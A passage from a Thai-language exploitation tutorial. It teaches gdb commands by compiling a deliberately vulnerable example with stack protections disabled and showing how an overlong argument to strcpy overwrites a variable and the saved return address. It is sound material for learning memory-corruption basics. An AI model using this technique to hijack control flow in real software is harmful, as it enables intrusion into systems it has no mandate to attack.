ต่อไปก็รูปแบบการแสดงผล (ค่า F จากตารางข้างบน) จะเหมือน C เกือบหมด

รูปแบบคำอธิบาย
apointer
ccharacter
dsigned decimal
ffloating point number
ooctal
sstring
tbinary
uunsigned decimal
xhexadecimal

คำสั่งตั้งเยอะ ใครจะจำได้หมด ต้องลองใช้บ่อยๆ ให้มันซึมเข้าไปเองครับ โดยผมจะลองใช้คำสั่งต่างๆ กับโปรแกรมในหัวข้อ "Buffer Overflow คืออะไร" แต่ให้ compile ตามนี้ (ex_05_1.c)

$ gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_05_1 ex_05_1.c

หลังจากนั้น มาลองใช้ gdb กัน (ให้ลองทำตามด้วยนะครับ อย่าเอาแต่อ่าน) โดยผมจะใส่คำอธิบายไว้หลังเครื่องหมาย # (ไม่ต้องพิมพ์นะครับ คำอธิบายนะครับ) และตามสัญญาจากหัวข้อที่แล้ว ว่าจะให้เห็นการส่งผ่าน argument อีกรูปหนึ่ง (สำหรับคนที่ไม่ชอบ AT&T syntax สามารถใช้คำสั่ง set disassembly-flavor intel เพื่อให้เป็น MASM syntax แต่ผมแนะนำให้ใช้ default เพื่อที่จะได้รู้หลากหลาย)

$ gdb -q ./ex_05_1
Reading symbols from /home/worawit/tutz/ch05/ex_05_1...(no debugging symbols found)...done.
(gdb) disas main   # disassemble main
   0x08048434 <+0>:     push   %ebp
   0x08048435 <+1>:     mov    %esp,%ebp
   0x08048437 <+3>:     sub    $0x14,%esp  # หัวข้อที่แล้ว -0xc แต่คราวนี้ -0x14 เพิ่มมา 8 bytes ใช้สำหรับส่ง argument ให้ strcpy
   0x0804843a <+6>:     movl   $0x0,-0x4(%ebp)
... # ขอละไว้ มันยาว
   0x08048455 <+33>:    mov    0xc(%ebp),%eax  # เอา argument ตัวที่ 2 (argv) ไปที่
   0x08048458 <+36>:    add    $0x4,%eax     # eax+4 เพื่อชี้ไปที่ address ของ argv[1]
   0x0804845b <+39>:    mov    (%eax),%eax   # เอาค่าของ argv[1] เก็บใน eax
   0x0804845d <+41>:    mov    %eax,0x4(%esp) # เก็บไปไว้ที่ esp+4 (เป็น argument ตัวที่ 2 ของ strcpy)
   0x08048461 <+45>:    lea    -0xc(%ebp),%eax # โหลด address ของ buf ไว้ที่ eax
   0x08048464 <+48>:    mov    %eax,(%esp) # เก็บไปไว้ที่ esp (เป็น argument ตัวที่ 1 ของ strcpy)
   0x08048467 <+51>:    call   0x8048344 <strcpy@plt>
... # ขอละไว้ มันยาว
(gdb) b main     # set breakpoint ไว้ที่ main
Breakpoint 1 at 0x804843a    # สังเกตว่า set ที่หลัง function prologue
(gdb) r
Starting program: /home/worawit/tutz/ch05/ex_05_1

Breakpoint 1, 0x0804843a in main ()
(gdb) b *0x08048467    # set breakpoint ที่คำสั่ง call strcpy
Breakpoint 2 at 0x8048467
(gdb) r UUUUUUUUUUUUUUUUUUU      # run โปรแกรมอีกรอบ โดยมี argument
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/worawit/tutz/ch05/ex_05_1 UUUUUUUUUUUUUUUUUUU

Breakpoint 1, 0x0804843a in main ()
(gdb) i r   # แสดง registers ทั้งหมด
eax            0xbffff7b4       -1073743948
ecx            0xa988bb4b       -1450656949
edx            0x2      2
ebx            0x293ff4 2703348
esp            0xbffff6f4       0xbffff6f4
ebp            0xbffff708       0xbffff708
esi            0x0      0
edi            0x0      0
eip            0x804843a        0x804843a 
... # ขอละไว้ มันยาว
(gdb) c   # ทำงานต่อ หยุดที่ breakpoint ถัดไป
Continuing.
Before strcpy: magic is 0x00000000

Breakpoint 2, 0x08048467 in main ()
(gdb) display/i $pc   # add display ให้แสดงคำสั่งที่ eip ชี้อยู่ (pc คือ program counter ใช้แทน eip ได้)
1: x/i $pc
=> 0x8048467 : call   0x8048344 
(gdb) x/8x $ebp-0xc   # แสดงค่าตั้งแต่ 0xbffff6fc (buf) ไป 8*4=32 bytes
0xbffff6fc:     0x00293ff4      0x080484b0      0x00000000      0xbffff788
0xbffff70c:     0x00154bd6      0x00000002      0xbffff7b4      0xbffff7c0
(gdb) ni     # ทำงานคำสั่งถัดไป โดยไม่เข้าไปใน call
0x0804846c in main ()
1: x/i $pc      # คำสั่งที่อยู่ใน display list แสดงทุกครั้งที่โปรแกรมหยุด
=> 0x804846c : mov    $0x8048580,%eax
(gdb) x/8x $ebp-0xc  # แสดงค่าที่ memory ของ buf อีกครั้ง (ค่า dword ที่ 3 คือ magic)
0xbffff6fc:     0x55555555      0x55555555      0x55555555      0x55555555
0xbffff70c:     0x00555555      0x00000002      0xbffff7b4      0xbffff7c0
(gdb) i f    # แสดงข้อมูล stack frame
Stack level 0, frame at 0xbffff710:
 eip = 0x804846c in main; saved eip 0x555555
 Arglist at 0xbffff708, args:
 Locals at 0xbffff708, Previous frame s sp is 0xbffff710
 Saved registers:
  ebp at 0xbffff708, eip at 0xbffff70c
(gdb) x/2s $esp     # แสดงข้อมูลที่ esp ในรูปแบบ string จำนวน 2 string
0xbffff6f4:      "\374\366\377\277\360\370\377\277", 'U' 
0xbffff710:      "\002"
(gdb)               # Enter เฉยๆ คือทำคำสั่งข้างบนซ้ำ แต่แสดงที่ address ถัดไป
0xbffff712:      ""
0xbffff713:      ""
(gdb) c  # ให้โปรแกรมทำงานต่อ
Continuing.
After strcpy: magic is 0x55555555
Hahaha, you WIN

Program received signal SIGSEGV, Segmentation fault.
0x00555555 in ?? ()
(gdb) i r ebp eip
ebp            0x55555555       0x55555555
eip            0x555555 0x555555
(gdb)  q
A debugging session is active.

        Inferior 1 [process 1857] will be killed.

Quit anyway? (y or n) y
$ 

ให้สังเกต ที่่คำสั่ง i f จะเห็นว่า saved ebp อยู่ที่ 0xbffff708 และ saved eip อยู่ที่ 0xbffff70c นั้นค่าถูกทำให้เปลี่ยน หลังจากเรียก strcpy (ตัว saved eip ที่มี 00 นำหน้านั้น 00 (NULL) มาจากตัวจบของ string ใน C แต่ที่อยู่ข้างหน้า เพราะแสดงเป็น integer ถ้างงก็คิดเรื่อง endian) แสดงให้เห็นว่า ข้อมูลที่เราใส่เข้าไปนั้น นอกจากจะเขียนทับ magic แล้วยังเขียนทับข้อมูลสำคัญ ที่กำหนดว่าให้โปรแกรมทำงานต่อที่ไหนหลังจากจบ main ทำให้โปรแกรมมีการอ้างถึง memory ที่ invalid คือ eip ชี้ไปที่ 0x00555555 ทำให้เกิด segmentation fault ขึ้น

ส่วนวิธีการ call function ในครั้งนี้จะไม่ใช้การ push argument แล้ว call อย่างที่เห็นใน assembly ข้างบน แต่จะเป็นการจองเนื้อที่บน stack ไว้สำหรับการส่ง argument แล้วใช้วิธี mov เพื่อย้ายค่าไปเป็น argument ต่างๆ แทน

ก่อนจะเริ่มในหัวข้อถ้ดไป ผมอยากให้ลองเอาโปรแกรมในหัวข้อ "Function กับ Stack" โดย compile ตามนี้ (ex_05_2.c)

$ gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_05_2 ex_05_2.c

แล้วให้ลอง
1. disassemble แล้วลองอ่าน assembly ดู
2. ลองใช้ stepi กับ nexti กับคำสั่ง call
3. ลองใช้ x/10s $esp แล้ว Enter ไปเรื่อยๆ จนหมด stack (bottom of stack) แล้วสังเกตค่าที่เป็นตัวอักษร อ่านรู้เรื่อง

Reference:
- GNU GDB Debugger Command Cheat Sheet
- GDB Cheat Sheet